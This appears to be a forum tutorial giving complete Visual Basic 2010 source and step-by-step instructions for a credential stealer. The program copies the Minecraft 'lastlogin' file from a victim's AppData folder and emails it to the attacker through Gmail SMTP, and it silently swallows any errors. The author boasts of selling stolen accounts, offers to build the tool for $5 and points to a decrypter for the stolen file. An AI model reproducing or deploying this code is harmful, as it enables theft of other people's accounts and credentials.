(adsbygoogle = window.adsbygoogle || []).push({});
Step 1:
Open Visual Basics 2010 and make a New Project As Windows Form Application
Step 2:
Put a button In Form 1 design
Step 2:
Double click button and you should see this
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End Sub
End Class
Step 4:
Press enter in front of Public Class Form1 and on top of it write
Imports System.Net.Mail
Step 5:
In between This
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End Sub
End Class
Press Enter Under Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Step 6:
Put This where you are after you click enter
Dim MyMailMessage As New MailMessage()
Try
Dim Attch As Net.Mail.Attachment = New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\.minecraft\lastlogin")
MyMailMessage.Attachments.Add(Attch)
MyMailMessage.From = New MailAddress("Email here")
MyMailMessage.To.Add("Email here")
MyMailMessage.Subject = ("LastLoginFile")
MyMailMessage.Body = (" ")
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Email here", "Password here")
SMTP.Send(MyMailMessage)
Catch ex As Exception
End Try
Step 7:
After That Under Public Class Form1 Put This
Dim smtp As New SmtpClient
Dim mail As New MailMessage
Step 8:
After ALL These Steps Put Your Gmail In
Now It Should Be Like This With Your Details
Imports System.Net.Mail
Public Class Form1
Dim smtp As New SmtpClient
Dim mail As New MailMessage
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Try
Dim Attch As Net.Mail.Attachment = New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\.minecraft\lastlogin")
MyMailMessage.Attachments.Add(Attch)
MyMailMessage.From = New MailAddress("Email here")
MyMailMessage.To.Add("Email here")
MyMailMessage.Subject = ("LastLoginFile")
MyMailMessage.Body = (" ")
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Email here", "Password here")
SMTP.Send(MyMailMessage)
Catch ex As Exception
End Try
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
End Class
If You Could Not Do This I'll Make One for You For $5 I have sold this to a couple of people now and i have made money selling these accounts
Decrypter:
To Use This Open It Then Drag And Drop The LastLogin File
Download Links:
Decrypt:
You must login or register to view this content.
Visual Basics 2010:
You must login or register to view this content.
PLEASE LIKE!!!
You must login or register to view this content.